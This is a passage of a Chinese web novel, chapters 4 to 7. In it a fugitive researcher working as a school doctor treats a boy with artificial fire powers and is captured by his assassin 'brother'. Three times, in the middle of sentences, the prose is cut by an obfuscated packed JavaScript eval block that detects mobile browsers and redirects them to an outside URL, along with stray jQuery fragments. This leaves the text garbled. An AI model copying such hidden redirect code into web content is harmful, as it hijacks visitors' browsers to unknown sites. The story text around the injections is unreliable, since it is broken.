最终，他还是从门缝里又叮嘱了一句：“林曜昕是我最好的朋友，你……可一定要帮帮他！” 安戈突然想到，林曜昕家里只剩一个哥哥，而艾斯也只有姐姐了，两人家庭背景差不多，平时玩得又好，难怪艾斯现在这么担心。 她轻轻挑眉：“我知道了。” 等所有人都离开后，安戈才松了口气，她从自己的包中，拿出了一块手表造型的采样仪，以及一片薄如信封的分析仪，站在了林曜昕的面前。 “来吧。”安戈喃喃自语道，“人造能力者。” 火焰操纵是她的博士毕业时的研究成果，也是世界上最早出现的人造非凡能力，虽不成熟，但因为出现的时间早，被黑市地下研究所模仿最多。以林曜昕目前的表现来说，的确是她早期研究的副作用。如果不能定期用药物维护实验品，就会昏迷不醒。 海威尔那一拳，不过是凑巧罢了。安戈知道，真正的问题远比看上去的要复杂。 4. 第4章 哥哥已经半年多没来看我了。 他几乎从不食言，除非任务紧急到无法脱身，才会推迟一两周。 自从我接受了改造，拥有了非凡能力，就需要每半年注射一次维护药水，否则我的血红蛋白和血小板急速降低，连最微小的伤口都可能威胁到我的生命。 为了不被人发现我的异常，我装病在家一周，可学校不允许请这么长时间的假，出勤率也关系到宝贵的补助金，我实在无法再装下去，只能硬着头皮来到学校，结果…… 林曜昕猛咳一声，骤然睁开眼睛，被白炽灯刺眼的光芒让他头晕目眩，但很快，他感觉有一股冰冷的液体正通过静脉缓缓进入自己的体内，抚平了近日来的所有不适与疲乏。 他的身侧是一排通顶的文件柜，有键盘敲击的声音从文件柜后传来。 林曜昕用手肘撑住床板，发出了微小的动静，键盘声立刻停止了。然后，他就看见一个穿着休闲大衣，黑色齐肩发的女人走了过来，正是学校新来的校医，安医生。 此时林曜昕仍有些迷糊，但他尚且记得，自己的昏迷并非完全是因为海威尔，而是人造能力的副作用。在学校再呆下去，不知道还会发生什么。如果被人发现自己是通过改造才拥有非凡能力的，说不定还会陷入麻烦，想到这里，他感到一阵焦虑，看向手上的针管，第一反应就是拔掉它，回家。 安戈脸色瞬间沉了下来，不悦地冷盯着林曜昕：“如果你想找死，就随便拔，我可不拦你。” 她强大的气场让林曜昕手上动作一滞。 见他停下，安戈冷哼一声：“这瓶吊完就赶紧回家，我还要下班。” 林曜昕的神情逐渐恢复了清明，似乎在思考着发生的一切，他声音嘶哑地问道：“安医生，是你救了我？” 现在，他已经反应过来，身体没有前几周的晕眩疲乏感，就和每次打完维护药水后的感觉一样，他又尝试着攥紧拳头，发现自己的四肢充满了力量。 安戈没有直接回答，只是冷冷说道：“你这个病，可拖不起，记得按时去看。” 她的提醒完全出自好心，因为她完全理解普通人想要用非凡能力改变生活的渴望，况且这项技术是从她手上流传出去的，她并不希望有人因此受到伤害。但如果被其他人发现了，恐怕会变得非常麻烦。 林曜昕却满脸疑惑，他看着缓慢滴入体内的药水，又难以置信地看了眼安戈，各种想法千回百转，又被他自己一一否定。 ——难道安医生也是从黑市出来的？她也会开发人造能力？ ——不不，有这个技术那得赚多少钱啊，怎么会来这种地方当个小小的校医？ ——难道是我的错觉，这些药水只是缓解了我的症状，我没有完全康复？ ——可是只有维护药剂才能救我的性命，寻常医生是做不到的啊。 他还没想清楚，安戈就继续说道：“艾斯给你哥哥打了电话，他说过会儿来接你。” “哥哥他很忙！我不用他来接……”林曜昕急忙说，他不希望自己成为别人的负担。 安戈很不耐烦地打断了他：“你是医生我是医生？再废话我就让艾斯过来按着你。” 林曜昕当然不愿意再多麻烦一人，只能老老实实闭嘴，过了几秒钟他才小心翼翼开口：“我哥哥……工作特别忙，要是他一时赶不过来，我也不想耽误安医生下班……” 安戈深深看了眼这个瘦弱的少年，猜想可能是他艰难的成长经历，造就了他这么独立的性格。她心里突然一软，想着实在不行，等吊完水自己送他回家，但嘴上仍旧严厉：“他是你的哥哥，工作再忙也得赶过来接你，你这么严重的问题，早就该带你去看病了，拖到现在，小命还想不想要了……” 话音未落，破旧的木门处传来“咚咚”两声。 因为学校早已放学，四下空无一人，安戈又有着良好的通风习惯，把门敞开着，一个头发略长，身材高大的男人，身着厚实的黑色卫衣，上面还沾染细密的水珠，显得风尘仆仆。 “哥哥！”林曜昕眼睛一亮，语气中全是欣喜。 安戈话转身望去，看清来人地一瞬间，她地脑袋像是被什么重物给击中，“嗡”地一下，她的思维完全宕机，整个人仿佛置身于黑暗的深渊。 眼前的男人脸上没有上次见面时，那种熟悉又残忍的微笑，取而代之的是一股冷漠：“我是来接林曜昕的。” …… “安医生？” 声音仿佛是从遥远的地方传来，安戈的手脚发冷，肌肉麻痹，呼吸凝滞，好像被人下了药般，一动不动，直到床上的少年拉了拉安戈的衣袖，她才回过神来。 恐惧如潮水将安戈淹没，她完全没有想到，在离开公司的三个月后，就和这位曾经看守她的杀手如此近距离地接触。 她喉咙微动，声音机械：“林曜昕的……哥哥？” 席森敏锐地眯起双眼：“校医认识我？” 仅这一句话，就让安戈的理智立刻回笼，她凭借本能进入戒备状态——她只能硬着头皮演下去。 她迅速皱起眉头，目露不耐：“没空和你废话，赶紧把病人接走，来的这么晚，全校就剩他了，我还等着下班。” 随即她坐在椅子上，低下头来，假装收拾东西，一副着急的模样，心却在咚咚直跳，根本不敢抬头。 现在她的脸上戴着易颜面具，五官已经和从前不一样了，发色打扮也大相径庭，虽然身形无法改变，但仅仅一个照面，自己还坐着，任凭对方有什么神通也无法认出她来。 席森三两步走到林曜昕面前，上下打量：“对不起，我来晚了，明天就带你去看病。” 林曜昕乖巧点头：“我没事，现在感觉好多啦。” 他举起手中的针管，示意他：“安医生的药很管用，这会儿真的好多了。” 安戈感到一阵冰冷的，耐人寻味的目光从背部穿刺而来，仿佛有透视能力般，将她的真实面目看了个遍。 她一时善心大发，救助了林曜昕，可是只要对方前往黑市研究所，就能发现安戈已经给他们用过药了，到时，恐怕席森就会立刻发现她的问题。 冷汗已经浸湿了后背，安戈知道，这里她是不能久呆了，而此时此刻，她不能再露出任何异常。 “谢谢安医生。”席森的衣角离她很近，仿佛上面的露水下一刻就要沾湿安戈的衣裳。 安戈不动声色，继续演戏，像个寻常学校的医生一般嘱咐道：“有空赶紧带孩子去医院查查， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她原本都已经海威尔的事抛在脑后，只想着如何脱身，而如今恰好可以用他为借口，明天向校长和艾琳艾斯辞行。 这样做顺理成章，即便席森听到了也不会当一回事。 留得青山在，不怕没柴烧。眼下最要紧的是离开林曜昕和席森这两个定时炸弹。 安戈低头扒饭，眼睛时不时地瞟向通讯光脑，她在下班时就给杜朗发了消息，希望能从他那儿获得信息，比如席森为何会出现在这座小镇，以及对方有没有被席森找到。 如果杜朗身份泄露，已经落入集团手里，那么即便他们是通过加密渠道进行通讯，集团的研究团队花费两三个月的时间，也未必不能破解。当然，这是最坏的打算，就算如此，她也有足够的时间去应对。 奇怪的是这位每日废话一大堆，时刻秒回的老同事，却在这几个小时内没有一点动静，这更加让安戈惴惴不安，怀疑是否杜朗已经被抓，有种山雨欲来风满楼的感觉。 但是仔细想想，她和席森的相遇纯属巧合——席森忙着追捕自己，没空回来带林曜昕补充维持药水，所以二人才会撞上，而这一切都和杜朗没有关系。还那是那句话，她如果什么也不说，直接丢下手上的人和事，反而遭人怀疑。 安戈的思绪纷乱，捉摸不透事情的真相，只能选择按兵不动。 她不得不煎熬等待第二天。 5. 第5章 “不行！”孟校长脱口而出，他目光灼灼，眼神恳切，“安医生，学校需要你，学生需要你，你这个岗位很重要啊，怎么能说走就走呢。” 安戈有些尴尬地轻咳一声：“是我的问题，一时冲动和海威尔老师发生了点摩擦，如今看来我不走是不行了，毕竟普通人和非凡能力者天差地别，如果比试中途发生意外……” “绝不可能发生意外！”孟校长立刻打断她，语气种有着不容置疑的坚定，“只要我在现场，就不会让他有这个机会。我可是招了大半年的校医了，怎么能让他……” 孟校长的声音越来越小，最后几乎变成了自言自语。 安戈装作无奈叹气：“哎，孟校长，就算是不出意外，我也打不过海威尔，最终还是要走的，何必要冒风险。” 孟校长摇摇头：“我们都知道你打不过，但是没关系，我不同意这场赌局，你就可以在保健室里呆着。” 安戈神色为难：“这……不太好吧，按他的性格，恐怕是要天天都来挑衅……我这以后工作也还是干不了。” 这下孟校长也沉默了下来，显然也是在思考这个问题。 安戈正想继续说服孟校长，突然，她的光脑内想起了悠扬的音乐，她打开虚拟屏幕，看到上面“林曜昕”三个字，心不由自主地跳动了起来。 孟校长显然已经知道昨天发生的事情，他点头示意：“接吧，看看他怎么样了。” 安戈却犹豫了。 她不敢接。 如果此时他们兄弟俩已经去过黑市研究所，发现林曜昕体内补充过维持药水，那么他们很有可能猜到了自己的身份。但如果真的知道了，林曜昕也没必要打电话过来，席森应该已经如鬼魅般闪现于此，直接将她带走。 安戈心中忐忑不安，左右为难。 可是孟校长正紧盯着安戈，她知道自己没有退路，不得不接。 虚拟屏幕中，视频通话界面缓缓打开，林曜昕的身影出现在画面中，他正走在大街上，身后不远处，席森表情冷漠地跟随着他。 “安医生！我已经没事啦！”林曜昕露出了一个大大的笑脸，声音充满活力，“你看！我去过医院了，医生说我这是老毛病了，给点药就行！只是这药……太贵了，得花不少钱呢。” 他语气中流露出一丝无奈，可是很快又被乐观取代：“对了……安医生，麻烦你跟老师说一句，我下午就能来上课了！” “你……真的下午就能来？” “当然！你看我现在多健康，活蹦乱跳的。” 安戈的余光瞟向一旁的席森，对方却没有看屏幕，这让她更加紧张，不由得咽了下口水：“我建议你还是再休息休息，明天再来学校。” “那可不行！”林曜昕赶忙道，“我都听说了，你下午还要和海威尔老师比赛，我可不能错过，老师你别走，我们好不容易才有个医生。” 软磨硬泡了半天，安戈也拗不过林曜昕的坚持，于是继续装作不经意地瞥了一眼旁边的席森，对方却依旧没有看向屏幕。她试探性地开口：“那你上学路上万一出意外怎么办？从医院过来距离也不近，有人接送吗？” 此时，席森才垂眸，淡淡看向林曜昕：“医生说的对，你还是在家休息吧。” 林曜昕不满道：“哥哥你又不是不知道，我一个人可以去学校的，不用人送。你不是工作上有事，急着要走吗？快走吧，不用管我了！” 最终，林曜昕还是坚持要来看安戈和海威尔的比试，而席森则按照原定计划，离家工作，林曜昕只能一人上学。 林曜昕和席森的表现太过于正常，仿佛完全没有发现安戈的问题。安戈也就在一旁配合表演，并且高速运转着大脑。 他们真的没发现真相吗？ 按照席森雷厉风行，冷酷残忍的性格，如果发现了问题，恐怕早就找上门来了。而如今没有，那这件事就可信了三分，让安戈略微能放下心。 可是地下研究所为什么没有告诉他们，林曜昕已经注射了维护药剂呢？ “只是这药好贵哦，需要一大笔费用呢。” 林曜昕的话闪过安戈的脑海。 安戈忽然想通了，答案或许就在金钱上。 一针维护药水的价格是普通家庭几年的收入，这些非法研究所的经营目的就是赚钱，为什么要告诉他们真相呢？不如瞒下林曜昕已经接受过治疗的事实，将错就错，蒙混过去，白赚一笔。 想通了这一关节，安戈的心又落下了半分，现在已经有五分相信了。只是这也是一时的，呆在席森弟弟身边，她总是觉得不够安全。至少黑市研究所发现了端倪，她还是需要保持警惕。 电话挂断后，安戈一抬头，就撞上了孟校长略带欣慰和慈爱的眼神。 “小安啊，你和学生的关系可真好啊，已经有好多学生来找我，希望把你留下了，他们很信任你啊。” 安戈为难道：“可是校长，海威尔……” “你不用担心，我告诉你一个秘密。”孟校长忽然神情严肃。 安戈也认真看向他略显疲惫的双眸。 “海威尔老师志不在此，我知道他早就在接触别家学校了，有的已经谈妥，所以即便你输了，信守诺言，他也会很快离职。到那时，我们学校既招不到校医，又找不到教师，只会更加困难。” “总之，无论你们比试结果如何，我都会和他好好谈谈，要是他想走，我就祝他高飞，帮他早些离开。” 话说到这份上，安戈也没有办法，只得悻悻点头。 上午课间，一批批学生来找安戈，诉说着对她的同情和不舍，安戈只能一遍遍将他们劝回去。她不得不承认，昨天一时冲动答应下的比试将她推上了高台，备受瞩目，确实是她的失误。 孟校长的话还回荡在耳边，她找不到其它理由反驳。 而中午午休时间，林曜昕到了学校，他和两个同学到保健室找安戈聊天，好像全然没有察觉到安戈身上的异常。 陪他前来的两人中，一人就是艾斯，另一人则是他们班的班长唐玉。 作为校医的安戈照例叮嘱了两句，然后就巧妙地从侧面打探席森的动向。 林曜昕不以为意地回答道：“他早就走了，哥哥工作一直很忙，这次也是正好在附近出差，才能临时赶回来。” 一旁的艾斯对安戈的话显得有点不耐烦：“哎呀，你好啰嗦呀，他都已经好了，还说那么多……” “……也不知道昨天是谁，紧张兮兮地要我帮帮他。”安戈轻瞥了一眼艾斯和唐玉。 听到这里，林曜昕突然露出一个调皮的笑容，他揽过两人的脖子：“哟，原来你们很紧张我啊，这下就算昏过去也值了。” 这番话让唐玉和艾斯鸡皮疙瘩直冒，当即四个白眼冲他飞了过去。 艾斯“生气”地上去就要掐林曜昕的脖子：“我怕你死了，以后没人跟我打架。” 他们闹做一团，而唐玉则是给了他们一人一个拳头，重重砸在头顶：“闹什么！我们是来告诉安医生敌情的，不是来玩的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15190385|165578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 显然她跟林曜昕、艾斯都很熟，这几天也都跟他们混在一起，频繁出入保健室。他们三人你一言我一语，嘻嘻哈哈地斗嘴，一会儿告诉安戈——诸如海威尔这个人虽然实力很强，特别擅长射击，但是心态不好，容易被激怒，或许有可乘之机……一会儿话题又岔到了八卦闲聊，天南海北地胡扯。 安戈没有将这些聒噪的小孩立刻赶走，因为她的目光始终都有意无意地瞟向林曜昕。他和艾斯同岁，都还是孩子，无论是昨天乖巧懂事的模样，还是今天嬉笑打闹的状态，都让安戈看不出破绽来。可是……他毕竟是那个冷血杀手的弟弟，她还是难以放下戒备。 如果他此刻的孩子气不是装的，那她对于黑市研究所的推测就极有可能是实情。或许席森还没有发现他的身份，并且已经离开。 好不容易等到上课铃声响起，安戈送走了这三个活宝，瘫坐在椅子上，刚想休息片刻，就看到唐玉急匆匆地带着两人跑回来，声音急促：“医生——我差点忘了最重要的事，孟校长让我把这个给您！下午的比试要用！他还说您可以先去靶场练着！” ……好吧，这位班长也是个马大哈，将最重要的事情抛之脑后，愣是插科打诨了那么久。 安戈将东西接过来后，定睛一看，是一把猎灵枪，这是学校最普通的训练用品，款式老旧。她随手放在了办公桌上。 这所学校虽然破旧，在非凡学校的积分排名上几乎年年垫底，但是这些学生们倒是活泼开朗，充满年轻人的朝气，光是拌嘴就能拌一个小时。 看到他们，安戈不自觉地想到自己这么大时，身上总是背负太多，从来没有这样悠哉闲聊的时光，也有些感慨。 只是…… 一种被遗忘的焦虑突然袭上安戈心头。校园生活的喧嚣渐行渐远，同学的身影模糊在记忆中——她猛然想起，这一早上，她似乎忽略了某个重要的存在。她的老同学，杜朗！ 杜朗！ 她竟然把杜朗给忘记了！ 安戈瞬间从椅子上挺直坐起，心中涌现出一股不详的预感。她迅速打开光脑的加密通讯，一条未读信息赫然在目，正是杜朗，发送时间在今天中午——差不多是在林曜昕到校，三个孩子在保健室嬉闹聊天的时候。 一个令人胆寒心惊的猜测浮现出来——林曜昕的出现是不是为了分散她的注意力？ 翻开未读信息，鲜红的文字映入眼帘——快跑！我……被他们抓走了！ 安戈的瞳孔骤缩，不详感潮水般袭来，她下意识地冲向后窗，眼见窗户后方正有一小方池塘，绿色的水藻布满池底，黑色的幽影隐约浮动。 她得先销毁和杜朗联系的记录。集团找到杜朗后，一定会想办法破解加密通道，届时光脑的位置就会暴露无遗。没有多想，安戈当机立断，将光脑抛入池中…… 然而，就在这一瞬间，一抹暗影从池底浮现，化作实体，一只黑色大手接住光脑。 安戈后退两步，黑影灵巧移动，纵身跳上窗台，高大的身影蜷缩蹲在这一方小窗内，这时，他人类的形态这才浮现出来，他身着黑色卫衣，单手扶住上方窗沿，露出一个幅度夸张的诡异笑容，森白的牙齿裸露在外。 “‘满月’小姐。我找到你了。” “影子”席森咬牙切齿，笑容阴冷，双眸死死盯住安戈，仿佛要在她脸上烧出一个洞。 人如其名，他能化作影子游走于暗处，善于隐藏自身。这是他的非凡能力，也是他的个性，犹如黑夜中的毒蛇，将敌人一击毙命。 6. 第6章 安戈的指尖冰凉麻木，好像被注入了毒素——原来林曜昕今日的动作，不过是席森用来麻痹她的毒药，让她放松警惕。 片刻后，安戈意识到自己不必再做无用的伪装，缓缓后退几步，目光始终锁定席森，试图从他的眼神中捕捉下一步的动向：“好久不见。” 席森轻轻一笑，从窗台上轻盈跳下，来到保健室内。这间办公室本就狭小简陋，席森进来后，更显得空间局促，安戈无处可逃。 席森步步向前逼近，安戈也不敢有大动作，只是缓缓后退。她本就是手无缚鸡之力的研究人员，和经过特殊训练的杀手实力悬殊，她不认为此刻自己有正面对抗的能力。 两人一时间都没有说话。 直到安戈的大腿后部撞到了办公桌沿，她的指尖轻轻触碰桌面，席森才打破沉默：“我和‘满月’小姐真是有缘，这都能撞见，看来命运的红线已经把我们绑在一起了，你觉得自己还能走掉吗？” 安戈沉默片刻，然后反问：“从未听说，你还有个弟弟。不是称自己全家无人了吗？” 他们相识多年，理论上彼此知根知底，可各自都暗藏着秘密。 安戈只能赌一把，为了保护林曜昕，席森并不愿意将这件事情公之于众，那她或许还有一线生机。 席森往安戈的座椅上一坐，悠哉自然，好像和她拉家常一般：“你是第一个知道的。” 安戈的手向后伸去，眼神闪烁：“因特里赫德集团不会再有人知道，因为我已经不是桑格莉亚了，也不会回去。” “哈哈。”席森哈哈笑了起来，可是他的眼睛里却没有笑意，“你是铁了心要走。” 安戈也跟着笑了起来，似乎气氛缓和了些。 不过下一秒她就翻身越过书桌，顺势拿起桌面上那支唐玉送来的猎灵枪，双臂平举，握紧扳机，对准来人：“你放过我，我也不会把这个秘密说出去。” 席森长腿翘在办公桌上，一派轻松自如的样子，仿佛并未将她的动作放在眼里，但他的眼睛眯起，冷冷盯着安戈手中的枪：“你在威胁我。” 安戈的手心微微沁汗。 “可是你知道吗，集团给出的关于你的悬赏，生死勿论。” 安戈的手微微颤抖，她知道自己一旦死去，关于席森的秘密也会随之埋葬。 席森身体凑近，单手握住对准他脑袋的枪管，好像一点都不害怕安戈的威胁：“你怎么还不如从前了？我记得小时候，你的枪法还比我还好，现在连拿枪的手都不稳了。” 席森骤然提起旧事，安戈不知对方是什么意思，只是握得更紧了。 “别那么紧张。”席森松开手，又打量了眼保健室，“这里条件简陋，你也能呆得下去。” 安戈犹豫了一下，举枪的手也垂了下去：“你弟弟不也在这个简陋的地方上学。” 看见她的反应，席森唇角勾起，调侃道：“怎么？现在又不做研究员了？” “自从在枪法上输给我后，你就走上了研究的道路，现在连研究也要放弃吗？” 安戈知道，一旦自己试图逃跑，能变成影子的席森可以瞬间追上，毫无意义。 斟酌了几秒，她开口：“自从那次后，我就没用过枪了，现在也不想用。我不过是想过些简单的生活……和林曜昕一样的，简单生活。” 安戈的话语中透露出一丝无奈，她刚刚逃出自己从小信赖的地方，经历了和集团的双向背叛，思绪尚未整理，计划仍未明确。因此她选择暂时栖身在这座小镇，观察局势，远离那些复杂的争斗。 这下换成席森沉默了，他似乎在消化安戈的话。 片刻后，安戈继续说道：“以前……我们或许有过不和，但总归认识多年。你知道我的性格，只要你放过我，我可以替你保护林曜昕。而且我已经知道了他的秘密，他今后的非凡能力，我可以一直照看。” 人造能力的养护，是一件麻烦且十分耗费金钱的事情，安戈认为，以此作为交换，席森未必不会心动。 席森仿佛在认真思考安戈的话，可是随后他就突然笑道：“你竟然看不出，林曜昕不是我亲弟弟，你凭什么认为，他对我来说很重要？” 听到这话，安戈愣在了原地。 不是亲弟弟？那席森还瞒得这样好？ “你这么聪明，没发现我们长得一点都不像？”席森状似笑得前仰后合，“不过……这不重要，我只是觉得，以你的本事，不应该缩在这里，浪费了才能。” 劝说无用，安戈心中的恐惧再一次扩大。 “桑格莉亚，你注定过不了普通生活……” “那可未必。” 席森话还未说完，安戈就果断举枪，扣下扳机，猎灵子弹带着贮存的非凡能力破空而出，席森的身体逐渐转为黑色的阴影，钻入办公柜的影子中，然后又从安戈的身后浮现。 “呵，天真……” 席森轻蔑地说，他是专业杀手，躲开近距离射击对于他来说，易如反掌。 可是，席森刚刚化做实体，原本应当打在办公柜上的猎灵子弹就在原地拐了个弯，调转方向，迅速从席森的肩胛骨旁穿透而出。 猎灵子弹和普通子弹不同，即便是能够改变身体形态的能力者，也会受到伤害。 席森表情错愕，难以置信地盯着自己胸前的血洞：“子弹拐弯……你是怎么做到的？” 安戈慢慢回头，嘲讽地笑了起来。 她还记得，刚被资助时，集团提供了丰富的教育资源，其中就有射击课。安戈一碰到猎灵枪，就仿佛开了窍般，无论怎么射击都能正中靶心。 然后……这个席森就每天找她麻烦，连续和她比试了一个多月，将近五十天的时间，两人针锋相对。安戈不胜其扰，为了摆脱这个麻烦，就故意输给了他，并且再也没碰过枪。 席森还没来得及反应，安戈又是射出两枪，这两枪和刚才一样，无论他如何通过影子进行移动，都无法避开，因为那些子弹好像带了定位功能一般，无视自然规律，直朝他而来，只要他出现，就避无可避。 这显然不是普通的枪法，而是非凡能力。 安戈趁着席森被拖延住的时间，猛吸一口气，头也不回地往外冲去。 这是她的秘密，自从觉醒非凡能力后，她没有告诉任何人。 她选择隐藏自己的能力，转作研究，因为她认为能力者也不过是任凭财阀、神明摆弄的棋子，她要自己研究非凡能力的奥秘。 而现在，这个秘密给了她一个机会，她必须趁这会儿逃走。只要她混入人群，利用面具的能力，即便是席森，找到她也要颇费功夫。 刚跑出学校，安戈就感受到一阵阴风从身后席卷而来，她不自觉地回头，只见黑色的暗影闪动，那个恐怖的男人当然不会就此倒下，他远远地看着安戈，手上也拿着一把枪，单手举枪，瞄准她。 正午的阳光毒辣，照的安戈睁不开眼，看的不真切，虽然他们的距离已经很远，安戈仍然竭尽全力奔跑。 一发子弹从枪□□出，在日光的照射下投射出一道小小的影子，那影子移动的速度极快。 安戈瞅准时机，寻找掩体，躲在了一棵树后，子弹打在了壮实的树干上。她听见子弹击中树干的声音后，继续狂奔。 可是一阵低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15190386|165578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑声响起，安戈骤然头皮发麻——席森顺着那小小子弹的影子，缩短了他们之间的距离，已经来到这棵树下！他们的距离极近，安戈仿佛能感受到他笑容散发出的寒气。 安戈心下一慌，抬手又想开枪，可是紧接着她就骤然感觉腰部一阵冰冷，彻底失去了意识。 他没下死手，我还能活。 意识朦胧中，安戈这样想着。 安戈知道自己是在做梦，可不知为什么，就是清醒不过来。 过去的场景挥之不去，席森恐怖的笑容重复出现，他总是沾着一身血渍，见到安戈后露出他的招牌笑容，仿佛一头没有人性的冰冷野兽。 他能干净利落地解决各种任务，包括身边的同伴。 一位女性被莫离扔在安戈面前，她满脸是血，但仍旧留有一口气。 安戈有一瞬间的大脑空白，她没想到他们的行动如此之快，立刻就找到了这几名她放跑的实验品，竟然一个都没漏掉。 这位研究员女性的面容惨不忍睹，已经看不出原本的模样，她的白大褂上也沾满了血污泥渍，安戈一眼就认出来，这是她的同事玛格丽特，因为一些工作失误，泄露了集团机密，要被“处理”掉。她苦苦哀求安戈将她放走，因为即便安戈拒绝接收，她也会被送入别的实验室，下场都是相同的。 莫离看都没有看一眼，点了点手上名单：“还有几个……没有抓住。” “满月小姐，是心软了吗？这才让人找到可乘之机？伤的这么严重。”席森紧盯安戈的双眼，靴子踩在玛格丽特手腕处，那人发出一阵惨叫。 莫离放下名单，打量了眼地上的人，又瞟了眼安戈手上的伤口：“她是和你们差不多时间进入集团的？” 席森点头：“嗯，那几年进来的。” 莫离叹了口气：“那送到隔壁实验室吧，既然桑格莉亚不忍心……” 安戈始终沉默，她已经麻木，有点朦胧地感受不到情绪。 地上的女生因为面部的伤口，说话含含糊糊的，但总是能发出几个音节：“桑……” “什么？”席森弯腰，低下头去。 “她说什么？”莫离问道。 安戈也俯下身去，即便此刻她大脑空白，也本能地听一听这位研究员在世间最后的遗言。 可是席森的话干扰了她，他说：“听不清，反正实验品那么多，既然她把最重要研究员打伤了，也不用留着了。” 席森耸耸肩，然后随意地抬手。 白色日光灯下，席森投射在地上的黑色影子，突然变成了一把一人高的长柄镰刀，矗立在席森的身侧。 他打了个响指。 镰刀落下，从桑格莉亚的身侧滑过，削落了她的一片衣角。 下一秒，地上奋力挣扎的玛格丽特人头落地，鲜血溅了安戈满身。 安戈猛然从床上惊坐而起。 她在一间卧室中。 安戈摸了下自己的脸，发现面具仍然戴在脸上，她没有恢复属于桑格莉亚的面容，而眼前的场景，显然也不是因特里赫德集团。紧接着她又摸了摸自己身上的口袋，发现光脑竟然又回来了，来不及细想，她环顾一圈，发现四周均无明显的摄像头，看上去好像就是一间再普通不过的卧室。 “上路！我说去上路！啊……救我……你为什么不开大！” 少年的声音从门外传来，安戈的耳朵贴在木板门上，仔细听了一会儿。 出乎安戈预料，这是林曜昕的声音。 按照席森的风格，她要么已经是个死人了，要么已经回到了因特里赫德公司，怎么会出现在他们二人的住处呢？ 7. 第7章 安戈心中的疑惑如潮水般涌动，她犹豫着，动作轻柔地触碰门把手，可是戴着耳机的林曜昕却一下就觉察到了卧室的动静。 “你醒啦？”林曜昕摘下耳机，露出一直以来的灿烂笑容，他挠了挠后脑勺，脸上带着意思尴尬，“哥哥这会儿不在家，还麻烦你等他一会儿。” 安戈的目光穿透了林曜昕，心中琢磨这二人究竟是什么关系，以及为什么要把她带会来，隐约的猜想初具雏形，只是安戈还没有把握。 “我能离开吗？”她问得直接。 林曜昕地脸顿时垮了下来：“桑格莉亚小姐，你可别为难我。” 林曜昕显然知道安戈的真实身份。 安戈的目光越过他，落在那张不大的餐桌上，游戏机的光影在阴暗的客厅内闪烁，林曜昕刚才就在游戏中鏖战。这个家看起来并不富裕，但算是温馨。 安戈询问：“我可以坐沙发上吗？” “啊，当然！”林曜昕瞬间让开，有些尴尬，“招待不周了，我来给你倒杯水……” 安戈从容地坐在了沙发上，观察着林曜昕忙前忙后，手足无措的样子。 “家里面很少来客人，只有白水。”林曜昕将水杯置于茶几上，给自己也倒了一杯，坐到了游戏机前，不知道是继续玩游戏还是看安戈，似乎是有点局促不安，林曜昕战术性喝了一口水，道，“哥哥大概一个小时后回来。” 安戈不想绕弯子，直接抛出了自己的筹码：“我可以给你火焰操纵的维护药剂配方。” 林曜昕一口水直接喷出，溅了满屏幕。 “咳咳咳……”林曜昕慌乱擦拭水渍，涨红了脸，“你……你这是诱惑我！” “……前提是，你放我走。”安戈的语气淡定。 林曜昕的脸更红了，不知是一位内激动还是咳嗽：“不可能！哥哥让我做的事情，我肯定做好！” 安戈故意拖长尾音，勾起唇角：“他可是说，你们不是亲兄弟，感情没那么深。你考虑下吧，有了配方，你就不必依靠着他了。” 挑拨离间，她也很擅长。 林曜昕却坚决摇头：“桑格莉亚小姐，哥哥是个好人，不会这样说。安医生，你就跟哥哥好好谈谈吧，我看他对你挺温柔的，你在这里很安全，他这人就是这样外冷心热。” 温柔？安戈以为自己的耳朵听错了，她第一次听到有人用这个词评价席森。 作为海难家属，安戈接受了因特里赫德集团的援助，因此才选择加入。而席森……可是十岁不到就主动去做杀手的人，况且之后他的那些行为也让安戈不能苟同。 仅凭这些，她就很难将席森和温柔、外冷心热这样的词相连。 只是不知道，席森身上究竟还有什么秘密——藏着一个没有血缘的弟弟，找到了自己却没有下死手…… 夜色种，透过灰尘覆盖的玻璃，安戈看到交错的黑色电线和临近的屋顶。 这里是贫穷之地，楼间距狭窄，难以言喻的气味隐隐浮现在空气中，顺着晚风丝丝缕缕飘进窗户，有时还混杂着野狗的嚎叫。远远的，教堂的黑色尖塔刺破夜色，阴森冷然。 林曜昕眼睛都快要睁不开了，迷迷糊糊地坚持着，这几天的疲惫显而易见。 可是安戈并没有逃跑的打算，黑夜是属于席森的时间，她没有愚蠢到自寻死路。 “咔哒”——房门被打开。 “先去睡吧。”席森一眼就看到正在揉眼睛的林曜昕，声音平静有力，“辛苦了，明天不用上学了。” 他看向林曜昕的眼神中，有一股罕见的温情。 林曜昕抱着抱枕，乖乖回了房间。 安戈仍旧在窗口，看着这座陈旧破败的小镇，心中充满了未知和等待。 身后的席森越靠越近，直到和她并排站在窗户前。 在这狭小的客厅里，他们的肩膀几乎要触碰在一起，这微妙的距离让安戈感到一丝不安。 席森手中拿着一罐咖啡，轻轻放在了窗台上，那清脆的声响打破了沉默，也唤醒了沉浸在思绪中的安戈。 